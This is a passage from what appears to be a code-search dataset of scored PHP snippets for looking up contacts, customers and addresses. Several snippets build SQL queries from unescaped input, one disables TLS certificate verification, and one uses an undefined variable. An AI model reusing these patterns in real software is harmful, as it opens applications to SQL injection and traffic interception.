DBUtil::getLimitedTableName('contactlist_buddylist');\n $oatable \t= DBUtil::getLimitedTableName('objectdata_attributes');\n $oacolumn = $tables['objectdata_attributes_column'];\n $uid = (int) $args['uid'];\n \n // direct contacts\n $sql = \"SELECT COUNT(*) AS C FROM \".$cltable.\" WHERE uid = \".$uid.\" AND state = 1\";\n $res = DBUtil::executeSql($sql);\n $first = (int)$res->fields[0];\n // second grade\n if ($first > 0) {\n $sql = '\tSELECT COUNT(DISTINCT select_2.bid)\n FROM \n '.$cltable.' as select_1,\n '.$cltable.' as select_2,\n '.$oatable.' as attributes\n WHERE\n attributes.'.$oacolumn['value'].' > 1 AND\n attributes.'.$oacolumn['attribute_name'].' = \\'contactlist_publicstate\\' AND\n select_1.state = 1 AND\n select_2.state = 1 AND\n select_1.bid = select_2.uid AND\n select_1.uid = '.$uid.'\n \n ';\n $res = DBUtil::executeSQL($sql);\n $second = (int)$res->fields[0];\n } else {\n $second = 0;\n }\n return array(\n '1st'\t=> $first,\n '2nd'\t=> $second\n );\n }", "title": "" }, { "docid": "1ef1487976d5f188d178839017f81b7c", "score": "0.54216707", "text": "public function name($contact);", "title": "" }, { "docid": "7f9693e9a78062a3e5d4a5385dc023e7", "score": "0.54186666", "text": "public function viewContactsAction() {\n\n try {\n\n $objClientService = new Base_Model_Lib_Client_Service_Client();\n $clientId = $this->_request->getParam('id');\n $clientInfo = $objClientService->getClient($clientId);\n $this->view->clientInfo = $clientInfo;\n } catch (Exception $ex) {\n throw new Exception('<ERROR>' . $ex->getMessage() . \"\\n\");\n }\n }", "title": "" }, { "docid": "bb6aa78fa458495f158755dd9cf3e338", "score": "0.5417477", "text": "public function FindContact($email)\r\n {\r\n return $this->request('contact/findcontact', array(\r\n 'email' => $email\r\n ));\r\n }", "title": "" }, { "docid": "fb9fba7007c1e86e5f18dbacdd6b529f", "score": "0.5416882", "text": "public function getAllContacts(){\n try{\n $contactList = [];\n $request = new EWSType_FindItemType();\n\n $request->ItemShape = new EWSType_ItemResponseShapeType();\n $request->ItemShape->BaseShape = EWSType_DefaultShapeNamesType::ALL_PROPERTIES;\n\n $request->ContactsView = new EWSType_ContactsViewType();\n\n $request->ParentFolderIds = new EWSType_NonEmptyArrayOfBaseFolderIdsType();\n $request->ParentFolderIds->DistinguishedFolderId = new EWSType_DistinguishedFolderIdType();\n $request->ParentFolderIds->DistinguishedFolderId->Id = EWSType_DistinguishedFolderIdNameType::CONTACTS;\n\n $request->Traversal = EWSType_ItemQueryTraversalType::SHALLOW;\n\n $response = parent::getEws()->FindItem($request);\n if(isset($response->ResponseMessages->FindItemResponseMessage->RootFolder->Items->Contact)){\n $stdContacts = $response->ResponseMessages->FindItemResponseMessage->RootFolder->Items->Contact;\n }else{\n return null;\n }\n foreach ($stdContacts as $c){\n $contact = new Contact();\n if(isset($c->ItemId->Id)){\n $contact->setExchangeId($c->ItemId->Id);\n }\n if(isset($c->CompleteName)){\n if(isset($c->CompleteName->FirstName)){\n $contact->setFirstName($c->CompleteName->FirstName);\n }\n if(isset($c->CompleteName->LastName)){\n if (strpos($c->CompleteName->LastName,'--') !== false) {\n $nameAndType = $this->getTypeFromName($c->CompleteName->LastName);\n if(sizeof($nameAndType) == 2){\n $contact->setName($nameAndType[0]);\n $typeService = new TypeService();\n $type = $typeService->getType($nameAndType[1]);\n if($type != null){\n $contact->setType($type);\n }else{\n $contact->setType(null);\n }\n }else{\n $contact->setName($c->CompleteName->LastName);\n }\n }else{\n $contact->setName($c->CompleteName->LastName);\n }\n }\n }\n if(isset($c->PhoneNumbers->Entry)){\n if( is_array($c->PhoneNumbers->Entry)){\n $contact->setPhone($c->PhoneNumbers->Entry[0]->_);\n if(sizeof($c->PhoneNumbers->Entry) > 1) {\n if (isset($c->PhoneNumbers->Entry[1])) {\n $contact->setPhone2($c->PhoneNumbers->Entry[1]->_);\n }\n }\n if(sizeof($c->PhoneNumbers->Entry) > 2) {\n if(isset($c->PhoneNumbers->Entry[2])){\n $contact->setPhone3($c->PhoneNumbers->Entry[2]->_);\n }\n }\n }else{\n $contact->setPhone($c->PhoneNumbers->Entry->_);\n }\n }\n if(isset($c->EmailAddresses->Entry)){\n if( is_array($c->EmailAddresses->Entry)){\n $contact->setMail($c->EmailAddresses->Entry[0]->_);\n }else{\n $contact->setMail($c->EmailAddresses->Entry->_);\n }\n }\n if(isset($c->CompanyName)){\n $contact->setCompany($c->CompanyName);\n }\n if(isset($c->PhysicalAddresses->Entry)){\n $address = new Address();\n $stdAddress = $c->PhysicalAddresses->Entry;\n if(is_array($stdAddress)){\n $address->setLine1($stdAddress[0]->Street);\n $address->setZipCode($stdAddress[0]->PostalCode);\n $address->setCity($stdAddress[0]->City);\n }else{\n if(isset($stdAddress->Street)){\n $address->setLine1($stdAddress->Street);\n }\n if(isset($stdAddress->PostalCode)){\n $address->setZipCode($stdAddress->PostalCode);\n }\n if(isset($stdAddress->City)){\n $address->setCity($stdAddress->City);\n }\n }\n $contact->setAddress($address);\n }\n array_push($contactList,$contact);\n }\n if($contactList == []){\n $contactList = null;\n }\n return $contactList;\n }catch(Exception $e){\n error_log($e->getMessage());\n }\n return null;\n }", "title": "" }, { "docid": "0b258f0b9910bef9588731b377fe91fd", "score": "0.5416779", "text": "public function all_contact_us_info(){\r\n $query = \"SELECT * FROM tbl_contact WHERE publication_status = 1 ORDER BY contact_id DESC LIMIT 1\";\r\n if(mysqli_query($this->db_connect, $query)){\r\n $query_result = mysqli_query($this->db_connect, $query);\r\n return $query_result;\r\n }else{\r\n die(\"Query Problem! \".mysqli_error($this->db_connect));\r\n }\r\n }", "title": "" }, { "docid": "95f51a459a6bef37669faf90a7c17503", "score": "0.541139", "text": "public function details (array $vars)\n {\n return $this->api->submit(\"customers/\" . $vars[\"customer_id\"] . \"/contacts/\" . $vars[\"contact-id\"], $vars, \"GET\");\n }", "title": "" }, { "docid": "c435a5de300fb85ebedb13e890fa7bcc", "score": "0.54052114", "text": "public function getPatient($var)\n {\n $this->db->query('SELECT * FROM doctorapp WHERE conatct =:contact');\n $this->db->bind(':contact',$var['phone']);\n $result = $this->db->single();\n }", "title": "" }, { "docid": "27d133622dce4bc76999b637d7d39e6d", "score": "0.5402096", "text": "public function fetch_contactNumber($contactid,$type) {\n try { if($type=='customer'){\n $query =$GLOBALS['$dbFramework']->query(\"\n SELECT ld.contact_number, li.customer_number as 'Lead Phone'\n FROM `contact_details` AS ld, customer_info AS li\n WHERE ld.contact_id = '$contactid' and\n (ld.lead_cust_id=li.customer_id or ld.lead_cust_id=li.lead_id)\");\n return $query->result(); \n }\n else{\n $query =$GLOBALS['$dbFramework']->query(\"\n SELECT ld.contact_number, li.lead_number as 'Lead Phone'\n FROM `contact_details` AS ld, lead_info AS li\n WHERE ld.contact_id = '$contactid' and\n ld.lead_cust_id=li.lead_id\");\n return $query->result(); \n }\n \n }\n catch (LConnectApplicationException $e) {\n $GLOBALS['$logger']->debug('!!!Exception Thrown to Model --- Passing to Controller!!!');\n throw $e;\n }\n \n }", "title": "" }, { "docid": "5b0c299e86796e7a2455c605caed55a6", "score": "0.54017764", "text": "public function SearchCars($param){\n $zips = $this->getNearbyZips($param->zipcode);\n $sql = \"select * from view_cars where zip in ($zips)\";\n if($param->make!='any') $sql .= \" and make='\".$param->make.\"'\";\n if($param->transmission!='any') $sql .= \" and transmission='\".$param->transmission.\"'\";\n if($param->body_types!='any') $sql .= \" and body_type='\".$param->body_types.\"'\";\n if($param->cylinders!='any') $sql .= \" and cylinders='\".$param->cylinders.\"'\";\n if($param->doors!='any') $sql .= \" and doors='\".$param->doors.\"'\";\n $data = $this->executeQuery($sql);\n return $data;\n }", "title": "" }, { "docid": "b26411ecfff7e61f577b9afda27aa5ae", "score": "0.5390706", "text": "public static function getBy($params) {\r\n\t\tif (!is_array($params)) return false;\r\n\t\t$data = self::_cookData($data);\r\n\t\treturn self::_getDao()->getBy($params);\r\n\t}", "title": "" }, { "docid": "bec0fab5355a1fd060c1c243ab1510b7", "score": "0.5390056", "text": "function DRIVE_getCustomerByEmail($email){\n \t\tglobal $ch;\n\n \t\t// #1 - get Order By Id\n \t$url = backendUrl . '/SearchWS/QueryAsEntities';\n\n \t\t$params = array('itemQuery' => '{\n \t\t\t\t\t\t\t\t\t \"entityName\": \"Cl\",\n \t\t\t\t\t\t\t\t\t \"distinct\": false,\n \t\t\t\t\t\t\t\t\t \"lazyLoaded\": false,\n \t\t\t\t\t\t\t\t\t \"SelectItems\": [],\n \t\t\t\t\t\t\t\t\t \"filterItems\": [\n \t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t \"filterItem\": \"email\",\n \t\t\t\t\t\t\t\t\t\t \"valueItem\": \"'.$email.'\",\n \t\t\t\t\t\t\t\t\t\t \"comparison\": 0,\n \t\t\t\t\t\t\t\t\t\t \"groupItem\": 0\n \t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t ],\n \t\t\t\t\t\t\t\t\t \"orderByItems\": [],\n \t\t\t\t\t\t\t\t\t \"JoinEntities\": [],\n \t\t\t\t\t\t\t\t\t \"groupByItems\": []\n \t\t\t\t\t\t\t\t\t}');\n\n\n\n\n \t$response=DRIVE_Request($ch, $url, $params);\n\n \tif(empty($response)){\n \t\treturn false;\n \t} else if(count($response['result']) == 0 ){\n \t\treturn null;\n \t}\n\n return $response['result'][0];\n\n \t}", "title": "" }, { "docid": "4f659dc611bdd042d6521a32196e2f05", "score": "0.5384154", "text": "public function get_student_by_contact($contact) {\n return $this->db->select('*')\n ->from('student')\n ->join('student_types','student.student_types_idstudent_types = student_types.idstudent_types')\n ->join('class','class.idclass = student.class_idclass')\n ->join('years','class.years_idyears = years.idyears')\n ->join('class_types','class_types.idclass_types = class.class_types_idclass_types')\n ->join('class_payment_types','student.class_payment_types_idclass_payment_types = class_payment_types.idclass_payment_types')\n ->join('class_locations','class_locations.idclass_locations = class.class_locations_idclass_locations')\n ->order_by('class.idclass','DESC')\n ->where('student.contact_no',$contact)\n ->get();\n }", "title": "" }, { "docid": "01a8b43da2bdae45e0d0c3f4f6ff7bda", "score": "0.53814715", "text": "function getFilterContact() {\n\n\t\t$iUserId = $this ->_oApi->get('user_id');\n\t\t\n\t\t$_aCallback = array();\n\t\t// $sJsonCallback = \"[[\\\"auser@brodev.com\\\"],[\\\"test@yahoo.com\\\"],[\\\"testing1@brodev.com\\\"],[\\\"testman@gmail.com\\\"],[\\\"Porta@brodev.com\\\"]]\";\n\t\tif ($sJsonCallback = $this->_oApi->get('callback')) {\n\t\t\t$_aCallback = json_decode($sJsonCallback, true);\n\t\t}\n\n\t\t$_aContacts = array();\n\t\t$sEmail = Phpfox::getService('user') -> getUser($iUserId, 'u.email');\n\n\t\tforeach ($_aCallback as $iKey => $aContact) {\n\t\t\t//remove email of myself\n\t\t\tif ($aContact == $sEmail['email']) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$_aContacts[$iKey] = $aContact;\n\t\t}\n\n\t\t$aListContact = Phpfox::getService('accountapi.contact')->getListContact($iUserId, $_aContacts);\n\t\t//get list unregistered user\n\t\t$_aList = Phpfox::getService('accountapi.contact')->getUserNotFriend($iUserId, $aListContact);\n\t\t//get list registered user but not is friend\n\t\t$aList = Phpfox::getService('accountapi.contact')->getNotUser($_aContacts, $aListContact);\n\n\t\t$aResult = array('notUser' => array('contact' => $aList, 'length' => count($aList)), 'isUser' => array('contact' => $_aList, 'length' => count($_aList)));\n\n\t\treturn $aResult;\n\t}", "title": "" }, { "docid": "0ff20d7da274559d450cef64c3d06f32", "score": "0.5365444", "text": "public static function getAddress($param=array() )\n {\n\t\t $addresses = Addresses::leftJoin('countries','countries.id', '=', 'addresses.country_id');\n\t\t $addresses= $addresses->select('addresses.*', 'countries.title as country_name' );\n\t\t\n\t\t if(isset($param['user_id']))\n\t\t {\n\t\t\t $addresses= $addresses->where('addresses.user_id', $param['user_id']);\n\t\t }\n\t\t \n\t\t if(isset($param['obj_table_ref']))\n\t\t {\n\t\t\t $addresses= $addresses->where('addresses.obj_table_ref', $param['obj_table_ref']);\n\t\t }\n\t\t \n\t\t if(isset($param['type']))\n\t\t {\n\t\t\t $addresses= $addresses->where('addresses.type', $param['type']);\n\t\t }\n\t\t \n\t\t if(isset($param['is_default']))\n\t\t {\n\t\t\t $addresses= $addresses->where('addresses.is_default', $param['is_default']);\n\t\t }\n\t\t \n\t\t if(isset($param['all']))\n\t\t {\n\t\t\t $addresses= $addresses->get();\n\t\t\t \n\t\t\t if( $addresses)\n\t\t\t {\n\t\t\t\t $addresses=$addresses->toArray();\n\t\t\t }\n\t\t }\n\t\t else\n\t\t {\n\t\t\t $addresses= $addresses->first();\n\t\t\t \n\t\t\t if( $addresses)\n\t\t\t {\n\t\t\t\t $addresses=$addresses->toArray();\n\t\t\t }\n\t\t }\n\t\t \n\t\t return $addresses;\n }", "title": "" }, { "docid": "290b107b20a4f5787499d2dc304c605b", "score": "0.5365435", "text": "public function getContact()\r\n {\r\n return $this->contact;\r\n }", "title": "" }, { "docid": "b66386258116e4cf1da4fb25ac95c34b", "score": "0.5364466", "text": "public function getPrimaryContact() {\n $comm_obj = $this->hasMany('App\\UserCommunication', 'object_id')->where([['object_type','App\\User'], ['is_primary', true]])->whereIn('type', [\"telephone\", \"mobile\"])->first();\n if ($comm_obj) {\n //return $comm_obj->value;\n return array(\"contact_region\" => $comm_obj->country_code, \"contact\" => $comm_obj->value, \"is_verified\" => $comm_obj->is_verified);\n } else {\n $comm_obj = $this->hasMany('App\\UserCommunication', 'object_id')->where([['object_type','App\\User']])->whereIn('type', [\"telephone\", \"mobile\"])->first();\n if ($comm_obj) {\n return array(\"contact_region\" => $comm_obj->country_code, \"contact\" => $comm_obj->value, \"is_verified\" => $comm_obj->is_verified);\n } else {\n return null;\n }\n }\n }", "title": "" }, { "docid": "178444ef0aea9ec31b9965b0e253b844", "score": "0.53593326", "text": "function versio_GetContactDetails($params)\r\n{\r\n $username = $params['Username'];\r\n $password = $params['Password'];\r\n $endpoint = $params['Site-version'];\r\n $testmode = $params['TestMode'];\r\n\r\n $versio = new Versio_API();\r\n $versio->setApi_login($username, $password, $endpoint);\r\n\r\n\t$versio->setApi_testmodus($testmode);\r\n\r\n\t//domain\r\n\t$sld = $params['sld'];\r\n $tld = $params['tld'];\r\n\r\n\t$response = $versio->request('GET', '/domains/'.$sld.'.'.$tld);\r\n\r\n\t\tif($response['error'])\r\n\t\t{\r\n\t\t\treturn array('error' => $response['error']['message']);\r\n\t\t\tdie();\r\n\t\t}\r\n\r\n\t$registrant_id = $response['domainInfo']['registrant_id'];\r\n\r\n\t\t\tif(!$registrant_id)\r\n\t\t{\r\n\t\t\treturn array('error' => 'No contact information available');\r\n\t\t\tdie();\r\n\t\t}\r\n\r\n\r\n\t$response = $versio->request('GET', '/contacts/'.$registrant_id);\r\n\r\n\r\n\t\tif($response['error'])\r\n\t\t{\r\n\t\t\treturn array('error' => $response['error']['message']);\r\n\t\t}else{\r\n\r\n\t\treturn array(\r\n 'Registrant' => array(\r\n 'First Name' => $response['contactInfo']['firstname'],\r\n 'Last Name' => $response['contactInfo']['surname'],\r\n 'Company Name' => $response['contactInfo']['company'],\r\n 'Email Address' => $response['contactInfo']['email'],\r\n 'Address 1' => $response['contactInfo']['street'].' '.$response['contactInfo']['number'],\r\n 'City' => $response['contactInfo']['city'],\r\n 'Postcode' => $response['contactInfo']['zipcode'],\r\n 'Country' => $response['contactInfo']['country'],\r\n 'Phone Number' => $response['contactInfo']['phone']) );\r\n\t\t}\r\n}", "title": "" }, { "docid": "38fb171b85bdd9387f4f0bc6a585bb68", "score": "0.5358879", "text": "function dynamic365_get_contact($contactKeyValue){\n\t\n\tif( ! $contactKeyValue )\n\t\treturn false;\n\t\n\t/**\n\t * check if integration dynamic plugin installed, run this func\n\t */ \n\tif( ! class_exists('AlexaCRM\\CRMToolkit\\Settings') )\n\t\treturn false;\n\t\n\t$options = get_option( 'msdyncrm_options' );\n\t\n\t/**\n\t * check if options not defined\n\t */ \n\t if ( !isset( $options[\"serverUrl\"] ) ||\n\t\t !isset( $options[\"username\"] ) ||\n\t\t !isset( $options[\"password\"] ) ||\n\t\t !$options[\"serverUrl\"] ||\n\t\t !$options[\"username\"] ||\n\t\t !$options[\"password\"]\n\t) {\n\t\treturn false;\n\t}\n\t\n\t$serviceSettings = new AlexaCRM\\CRMToolkit\\Settings( $options );\n\t\n\t$service = new AlexaCRM\\CRMToolkit\\Client( $serviceSettings );\n\t\n\t$metadata = AlexaCRM\\CRMToolkit\\Entity\\MetadataCollection::instance( $service );\n\t\n\t/**\n\t * defined contact key\n\t */\n\t$isRetrievedByEmail=false;\n if ( filter_var( $contactKeyValue, FILTER_VALIDATE_EMAIL ) ) {\n $isRetrievedByEmail = true;\n } elseif ( $service->isGuid( $contactKeyValue ) ) {\n $isRetrievedByEmail = false;\n } \n\t\n\t$contactKey = null;\n\tif ( $isRetrievedByEmail ) {\n\t\t$contactKey = new \\AlexaCRM\\CRMToolkit\\KeyAttributes();\n\t\t$contactKey->add( 'emailaddress1', $contactKeyValue );\n\t} else {\n\t\t$contactKey = $contactKeyValue;\n\t}\n\t\t\n\t/**\n\t * get contact from id\n\t */ \t\n\t$contact = $service->entity( 'contact', $contactKey );\n\t\n\t// $contact->firstname = str_replace( '', '', $contact->firstname );\n\t// $contact->__set( 'parentcustomerid', $contact->parentcustomerid );\n\t// $contact->__setxx( 'parentcustomerid', true );\n\t\n\t// $contact->update();\n\t\n\treturn $contact;\n}", "title": "" }, { "docid": "2bdb919d38d9054afaa470e77700b3ac", "score": "0.53482896", "text": "public function getAllContacts($contactType = 0) {\n \n $api_call = \"allcontacts\";\n $page_to_call = \"contacts.cfm\";\n \n $getParameters = array(\"customerkey\" => self::API_KEY, \"api_call\" => $api_call);\n \n if ($contactType != 0) {\n $getParameters['ContactTypeID'] = $contactType; \n }\n \n $webServiceUrl = self::URL . $page_to_call. '?' . http_build_query($getParameters);\n \n $ch = curl_init($webServiceUrl);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); \n \n \n $result = curl_exec($ch);\n \n if ($result === false) {\n $error_log = 'Curl error [dobijanje liste svih kontakata]: ' . curl_error($ch);\n $this->saveLog($error_log);\n curl_close($ch); \n return false; \n } else {\n curl_close($ch); \n }\n \n $xml = simplexml_load_string($result, 'SimpleXMLElement', LIBXML_NOCDATA);\n \n if (is_object($xml)) {\n if ($xml->status == \"OK\") {\n $error_log = \"Uspesno dobijanje liste svih kontakata iz Proworkflow - a.\";\n $this->saveLog($error_log); \n return $xml;\n } else {\n $error_log = \"Neuspesno dobijanje liste svih kontakata iz Proworkflow - a\";\n $this->saveLog($error_log); \n return false;\n } \n } else {\n $error_log = \"Rezultat koji je vracen od Proworkflow-a nakon dobijanja liste svih kontakata nije validan - neuspesno konvertovanje povratnog XML-a u objekat.\";\n $this->saveLog($error_log); \n return false; \n } \n }", "title": "" }, { "docid": "26c6dc1f17eec882a0d26a85936d8e00", "score": "0.534379", "text": "public function getobjetcontact($idcontact){\n $contact = r::load('contact',$idcontact);\n $uncontact=new contact($contact->email1, $contact->email2,$contact->email3, $contact->bureau, $contact->fax, $contact->tel3);\n return($uncontact);\n }", "title": "" }, { "docid": "7d54d5b75550bb6834b5b3c57cc36f2e", "score": "0.5342029", "text": "public function index() {\n $p = Request::all();\n $id_responsible = $this->getIdResponsible($p);\n\n $with = array('contact_type', 'group_area', 'market', 'language', 'country', 'responsibles');\n $fields = array('id', 'firstname', 'lastname', 'email', 'phone', 'skype',\n 'company_name', 'company_area', 'position', 'sap_code', 'career',\n 'city', 'id_market', 'id_language', 'id_country',\n 'id_contact_type', 'id_group_area', 'created_at');\n \n return Contact::with($with)\n ->hasResponsible($id_responsible)\n ->get($fields);\n }", "title": "" }, { "docid": "956e87d9e275b02452385c3fdb391644", "score": "0.53383714", "text": "public function getContacts()\n {\n $data = get();\n \n // Validator get params.\n $valids = Validator::make($data, [\n 'page' => 'numeric',\n 'order' => 'alpha'\n ], SNSContactsHelper::getMessage());\n \n // Check exists error message.\n if ($valids->fails()) {\n return Response::json(array('status' => 'error', 'data' => $valids->messages()), 500);\n }\n \n extract($data);\n \n // Set default params.\n $page = (isset($page)) ? $page : 0;\n $order = (isset($order)) ? $order : 'all';\n \n // For paging\n $limit = SNSC_PAGINATE;\n $skip = $page * $limit;\n \n $records = Contact::whereRaw('status = ?', array(true))\n ->take($limit)\n ->skip($skip);\n \n return Response::json(array('status' => 'success', 'data' => $records->get()));\n }", "title": "" }, { "docid": "2e660b118ff1b367b7b9635db98e0019", "score": "0.5320176", "text": "public function get_contact_by_id($id) {\n return $this->db->select(\"SELECT id, first_name, last_name, email FROM Contacts WHERE id = :id\", array(\":id\" => $id));\n }", "title": "" }, { "docid": "87877e0ce337fc1809deca8edf7c280e", "score": "0.53182626", "text": "protected function generalRequestGet(){\n\t\t return $this->apiFacade->getMany($this->realQueryString());\n\t}", "title": "" }, { "docid": "f99380265861ed79f75b3c23aa7359d8", "score": "0.53165287", "text": "public function processApi(){ \n\t\tif((!empty($_REQUEST['unique_id'])) && (!empty($_REQUEST['method']))) { \n\t\t\t$id = $_REQUEST['unique_id'];\n\t\t\t// 12/10/2013 temp_id_contact field passed in now...\n\t\t\t$temp_id = $_REQUEST['temp_id'];\n\t\t\t\n\t\t\t$phone = (isset($_REQUEST['phone'])) ? $_REQUEST['phone'] : '';\n\t\t\t\n\t\t\tswitch($_REQUEST['method']) {\n\t\t\t\tcase \"get\":\n\t\t\t\t\t$data['call'] = $this->getContact($id); \n\t\t\t\t\tbreak;\n\t\t\t\tcase \"delete\":\n\t\t\t\t\t$data['call'] = $this->deleteContact($id,$phone,$temp_id); \t \n\t\t\t\t\tbreak;\t\n\n\t\t\t} \n\t\t\t/*if($_REQUEST['methodget'] == 'get') {\n\t\t\t$data['call'] = $this->getContact($id); \n\t\t\t}\n\t\t\tif($_REQUEST['methoddelete'] == 'delete') {\n\t\t\t$data[] = $this->deleteContact($id,$phone); \n\t\t\t}*/\t\n\t\t\t//$data = $this->getContact($id); //print_r($data);exit;\n\t\t} else { \n\t\t\t$data['call'] = \"Please provide Unique Id\";\t\t\t\t\n\t\t}\n\t\t$detail = $this->json($data);\n\t\treturn $detail;\n\t}", "title": "" }, { "docid": "c862d51147b1db85c5fecb16b8fdb257", "score": "0.53142065", "text": "public function getContact()\n {\n return $this->contact;\n }", "title": "" }, { "docid": "c862d51147b1db85c5fecb16b8fdb257", "score": "0.53142065", "text": "public function getContact()\n {\n return $this->contact;\n }", "title": "" }, { "docid": "c862d51147b1db85c5fecb16b8fdb257", "score": "0.53142065", "text": "public function getContact()\n {\n return $this->contact;\n }", "title": "" }, { "docid": "c862d51147b1db85c5fecb16b8fdb257", "score": "0.53142065", "text": "public function getContact()\n {\n return $this->contact;\n }", "title": "" }, { "docid": "6d8acee04656e97251dfb8b1d6105b8f", "score": "0.5311535", "text": "public static function getBy($params) {\n\t\tif (!is_array($params)) return false;\n\t\t$data = self::_cookData($params);\n\t\treturn self::_getDao()->getBy($data);\n\t}", "title": "" }, { "docid": "a66759721a95b35a711791ecf87201a0", "score": "0.5302484", "text": "public function actionContact(): Response\n {\n $contactFilterModel = new ContactSearch;\n $contactDataProvider = $contactFilterModel->search($this->request->queryParams);\n\n return $this->createResponse(\n 'contact',\n compact(\n 'contactFilterModel',\n 'contactDataProvider'\n )\n );\n }", "title": "" }, { "docid": "bf843300cd9cd263f76e5c71932b72d1", "score": "0.5299974", "text": "public function get_contact() {\n return $this->contact;\n }", "title": "" }, { "docid": "df64c724ad0e0864250cc909f0d31dbd", "score": "0.5293458", "text": "public function get_request(){\n\t\t//hanlde an override case, otherwise set to \"id\"\n\t\tif(isset($this->_pk1)){\n\t\t\tif(!empty($this->_obj->pk)) $qData = array($this->_obj->pk => $this->_pk1);\n\t\t\telse $qData = array(\"id\" => $this->_pk1);\n\t\t}else $qData = array();\n\n\t\t//TODO allow ranges, partial search, etc.\n\t\t//add filters\n\t\t$qData = array_merge($qData,$this->_filters);\n\n\t\t\n\t $this->_response_data = $this->_db->get_request($this->_obj, $qData);\t\t\n\t}", "title": "" }, { "docid": "2857e977dc6ec8e6ed73698bd585aace", "score": "0.52877676", "text": "public function lookup(array $params): object\n {\n return $this->get($this->credentials, $this->uri, $params, null, false, true);\n }", "title": "" }, { "docid": "33a88d219635c98f1101bcf396eeca3c", "score": "0.52807766", "text": "function keel_petfinder_api_get_pet_contact( $pet, $type ) {\n\t\t$settings = keel_petfinder_api_get_settings();\n\t\t$info = array_key_exists( $type, $pet['contact'] ) && array_key_exists( '$t', $pet['contact'][$type] ) ? $pet['contact'][$type]['$t'] : $settings['contact_' . $type];\n\t\treturn $info;\n\t}", "title": "" }, { "docid": "32ca6efbc131ec970cd3393b6c89191a", "score": "0.5280619", "text": "function find_contact_email($data) {\n $para = array(\n 'term' => $data[\"email\"],\n 'search_by_email' => 1\n );\n $method_path = $this->get_method(\"find_contact_email\");\n $result = $this->get_pipedrive($method_path, $para, null);\n return $result;\n\n // yes:Array ( [success] => 1 [data] => Array ( [0] => Array ( [id] => 8220 [name] => Aaron Jenner [email] => aaron@cooke.toyota.co.nz [phone] => 274770507 [org_id] => [org_name] => [visible_to] => 1 ) ) [additional_data] => Array ( [search_method] => search [pagination] => Array ( [start] => 0 [limit] => 100 [more_items_in_collection] => ) ) )\n//no:{\"success\":true,\"data\":null,\"additional_data\":{\"search_method\":\"search\",\"pagination\":{\"start\":0,\"limit\":100,\"more_items_in_collection\":false}}}\n }", "title": "" }, { "docid": "42cbf613379661e909b86546cd7a0ced", "score": "0.52682066", "text": "public function getContact($id){\n // $Subcats = contacts::find($id)->subCategories()->get();\n $contact = contacts::find($id);\n $subcats = $contact->subCategories;\n $arr = array();\n $Related = array();\n foreach ($subcats as $subcat) {\n array_push($arr , $subcat->contacts()->limit(4)->get());\n }\n for ($i=0; $i <count($arr) ; $i++) { \n for ($j=0; $j <count($arr[$i]) ; $j++) \n array_push($Related , $arr[$i][$j]);\n }\n\n // return $randomItems = Arr::random($Related,2);\n \n $single = contacts::where('id',$id)->with(['sliders','workinHours','branches'])->get();\n return response()->json(array('Related' => $Related ,'single'=>$single));\n\n }", "title": "" }, { "docid": "786572b4653c5839abd3e1632c79b18e", "score": "0.5263889", "text": "public function getContactDetails(array $contacts)\n {\n //check argument:\n foreach ($contacts as $key => $c)\n {\n if (is_array($c))\n throw new \\InvalidArgumentException(\n sprintf(\n '%s expects an array of ids, array given',\n __METHOD__\n )\n );\n $contacts[$key] = (string) $c;//cast to string\n }\n $action = $this->getAction(\n __METHOD__,\n array(\n 'method' => 'contact_list',\n 'data' => array(\n 'ids' => implode(',', $contacts)\n )\n )\n );\n $resp = $this->doAction(\n $action\n );\n if ($resp->result_code == 0 && $resp->http_code != 200)\n {\n throw new \\RuntimeException(\n sprintf(\n '%s call failed: %s.(request url: %s)',\n $action->getAction(),\n $resp->result_message,\n (string) $action\n )\n );\n }\n //buffer statuses\n if ($this->statusBuffer === true)\n {\n for ($i=0, $max = count($contacts);$i<$max;++$i)\n {\n if (property_exists($resp, $i))\n $this->statuses[(string) $resp->{$i}->id] = $resp->{$i}->status;\n }\n }\n return $resp;\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" }, { "docid": "021f87e2ee96922d070d2028c9cac786", "score": "0.5261104", "text": "public function show(Contact $contact)\n {\n //\n }", "title": "" } ]
978f3e9c59915c91580959bc2c41205f
Allows child classes to attach data to the request.
[ { "docid": "0131a2fee596754fc42b719bb8849d38", "score": "0.7131891", "text": "abstract protected function attachData(RequestInterface $request);", "title": "" } ]
